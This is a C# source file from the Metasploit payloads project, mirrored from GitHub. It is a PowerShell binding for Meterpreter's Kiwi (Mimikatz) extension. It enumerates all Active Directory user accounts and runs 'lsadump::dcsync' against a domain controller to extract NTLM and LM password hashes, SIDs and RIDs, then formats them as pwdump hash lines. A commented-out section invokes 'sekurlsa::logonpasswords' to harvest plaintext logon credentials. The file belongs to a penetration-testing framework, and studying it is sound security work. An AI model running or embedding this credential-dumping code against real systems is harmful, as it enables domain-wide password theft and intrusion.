1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-26 16:53:20 +02:00
OJ 1e175da8b1
Change hash output to use LM hash if present
The previous commit hard coded the LM hash to the empty value. This commit changes this so that if the LM hash isn't present it'll manually specify the empty one, but use the existing one if it is present.
2018-05-17 09:06:35 +10:00

324 lines
14 KiB
C#
Executable File

using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
namespace MSF.Powershell.Meterpreter
{
public static class Kiwi
{
public class Credential
{
public string Domain { get; set; }
public string Username { get; set; }
public string Password { get; set; }
public override string ToString()
{
return string.Format("{0}|{1}|{2}", Password, Username, Domain);
}
}
public class SyncRecord
{
public string Account { get; set; }
public string NtlmHash { get; set; }
public string LmHash { get; set; }
public string SID { get; set; }
public string RID { get; set; }
public string HashString
{
get
{
var lm = string.IsNullOrEmpty(LmHash) ? "aad3b435b51404eeaad3b435b51404ee" : LmHash;
var ntlm = string.IsNullOrEmpty(NtlmHash) ? "31d6cfe0d16ae931b73c59d7e0c089c0" : NtlmHash;
var userParts = Account.Split('\\');
return string.Format("{0}:{1}:{2}:{3}:::", userParts[userParts.Length - 1], RID, lm, ntlm);
}
}
}
public class HashReceivedEventArgs : EventArgs
{
public SyncRecord Record { get; private set; }
public HashReceivedEventArgs(SyncRecord record)
{
Record = record;
}
}
public delegate void HashReceivedEventHandler(object sender, HashReceivedEventArgs args);
public class DcSyncAllSettings
{
public string Domain { get; set; }
public string DomainController { get; set; }
public string DomainFqdn { get; set; }
public bool IncludeMachineAccounts { get; set; }
public bool IncludeEmpty { get; set; }
}
private static readonly Regex ValueRegex = new Regex(@"\s*\*\s(?<k>[^:]*):\s(?<v>.*)");
public static IEnumerable<string> DcSyncHashDump(DcSyncAllSettings settings)
{
foreach (var record in DcSyncAll(settings))
{
yield return record.HashString;
}
}
public static IEnumerable<SyncRecord> DcSyncAll(DcSyncAllSettings settings)
{
if (User.IsSystem())
{
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
}
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNCALL] User is not running as SYSTEM.");
if (string.IsNullOrEmpty(settings.Domain))
{
settings.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().Name;
}
if (string.IsNullOrEmpty(settings.Domain))
{
throw new ArgumentException("Domain parameter must be specified.");
}
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Running against domain " + settings.Domain);
using (var adRoot = new System.DirectoryServices.DirectoryEntry(string.Format("LDAP://{0}", settings.Domain)))
using (var searcher = new System.DirectoryServices.DirectorySearcher(adRoot))
{
searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All;
searcher.Filter = "(objectClass=user)";
searcher.PropertiesToLoad.Add("samAccountName");
using (var searchResults = searcher.FindAll())
{
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Search resulted in results: " + searchResults.Count.ToString());
foreach (System.DirectoryServices.SearchResult searchResult in searchResults)
{
if (searchResult != null)
{
var username = searchResult.Properties["samAccountName"][0].ToString();
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Found account: " + username);
if (settings.IncludeMachineAccounts || !username.EndsWith("$"))
{
var record = DcSync(string.Format("{0}\\{1}", settings.Domain, username), settings.DomainController, settings.DomainFqdn);
if (record != null && (settings.IncludeEmpty || !string.IsNullOrEmpty(record.NtlmHash)))
{
yield return record;
}
}
}
}
}
}
}
public static SyncRecord DcSync(string username, string domainController = null, string domainFQDN = null)
{
if (User.IsSystem())
{
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
}
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] User is not running as SYSTEM.");
if (string.IsNullOrEmpty(username) || !username.Contains("\\"))
{
throw new ArgumentException("Username must be specified in the format 'DOMAIN\\username'.");
}
Tlv tlv = new Tlv();
var command = string.Format("lsadump::dcsync /user:{0}", username);
if (!string.IsNullOrEmpty(domainController))
{
command = string.Format("{0} /dc:{1}", command, domainController);
}
if (!string.IsNullOrEmpty(domainFQDN))
{
command = string.Format("{0} /domain:{1}", command, domainFQDN);
}
// Mustn't forget to wrap this in a string so it's considered a single command
command = string.Format("\"{0}\"", command);
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Command execution will contain: " + command);
tlv.Pack(TlvType.KiwiCmd, command);
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoking kiwi_exec_cmd");
var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_cmd"));
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoked kiwi_exec_cmd");
if (result != null)
{
System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
var responseTlv = Tlv.FromResponse(result);
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response came back with {0} results", responseTlv.Count));
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response should contain a value for {0} {1}", TlvType.KiwiCmdResult, (int)TlvType.KiwiCmdResult));
foreach(var k in responseTlv.Keys)
{
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response contains key: {0} ({1})", k, (int)k));
}
if (responseTlv[TlvType.Result].Count > 0 &&
(int)responseTlv[TlvType.Result][0] == 0 &&
responseTlv[TlvType.KiwiCmdResult].Count > 0 &&
responseTlv[TlvType.KiwiCmdResult][0].ToString().Length > 0)
{
System.Diagnostics.Debug.Write("[PSH BINDING] DcSync returned with some data");
var resultString = responseTlv[TlvType.KiwiCmdResult][0].ToString();
var record = new SyncRecord
{
Account = username
};
var elementsFound = 0;
foreach (var line in resultString.Split('\n'))
{
var stripped = line.Trim();
if (stripped.StartsWith("Hash NTLM: "))
{
var parts = stripped.Split(' ');
record.NtlmHash = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("lm - 0: "))
{
var parts = stripped.Split(' ');
record.LmHash = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("Object Security ID"))
{
var parts = stripped.Split(' ');
record.SID = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("Object Relative ID"))
{
var parts = stripped.Split(' ');
record.RID = parts[parts.Length - 1];
elementsFound++;
}
if (elementsFound > 3)
{
break;
}
}
return record;
}
}
System.Diagnostics.Debug.Write("[PSH BINDING] No result returned, kiwi is probably not loaded");
throw new InvalidOperationException("Kiwi extension not loaded.");
}
// OJ - 7th May 2018
// This function was broken when we rejigged kiwi to work off the Mimikatz subrepo. Commenting this stuff
// out for now until I fix it.
//public static List<Credential> CredsAll()
//{
// System.Diagnostics.Debug.Write("[PSH BINDING] Invoking binding call CredsAll");
// if (!User.IsSystem())
// {
// throw new InvalidOperationException("Current session is not running as SYSTEM");
// }
// Tlv tlv = new Tlv();
// tlv.Pack(TlvType.KiwiCmd, "sekurlsa::logonpasswords");
// var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_command"));
// var ids = new Dictionary<string, Credential>();
// if (result != null)
// {
// System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
// var responseTlv = Tlv.FromResponse(result);
// if (responseTlv[TlvType.Result].Count > 0 &&
// (int)responseTlv[TlvType.Result][0] == 0)
// {
// //foreach (var credObj in responseTlv[TlvType.KiwiPwdResult])
// //{
// // var credDict = (Dictionary<TlvType, List<object>>)credObj;
// // var credential = new Credential
// // {
// // Domain = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdDomain, string.Empty),
// // Username = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdUserName, string.Empty),
// // Password = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdPassword, string.Empty)
// // };
// // if (!ids.ContainsKey(credential.ToString()))
// // {
// // ids.Add(credential.ToString(), credential);
// // }
// //}
// return new List<Credential>(ids.Values);
// }
// }
// System.Diagnostics.Debug.Write("[PSH BINDING] Result not returned, kiwi is probably not loaded");
// throw new InvalidOperationException("Kiwi extension is not loaded");
//}
//private static List<Dictionary<string, string>> ParseSSP(string[] output)
//{
// var results = new Dictionary<string, Dictionary<string, string>>();
// var lines = new Queue<string>(output);
// while (lines.Count > 0)
// {
// var l = lines.Dequeue();
// // Make sure it's an SSP cred
// if (!Regex.IsMatch(l, @"\sssp\s:"))
// {
// continue;
// }
// l = lines.Dequeue();
// while (Regex.IsMatch(l, @"\[\d\]"))
// {
// var d = new Dictionary<string, string>();
// l = lines.Dequeue();
// for (int i = 0; i < 3; ++i)
// {
// ParseAndAddValue(l, d);
// l = lines.Dequeue();
// }
// //results[d.V
// }
// }
// // return new List<Credential>(results.Values);
// return null;
//}
//private static void ParseAndAddValue(string line, Dictionary<string, string> values)
//{
// var match = ValueRegex.Match(line);
// if (match.Success)
// {
// values[match.Groups["k"].Value] = match.Groups["v"].Value;
// }
//}
}
}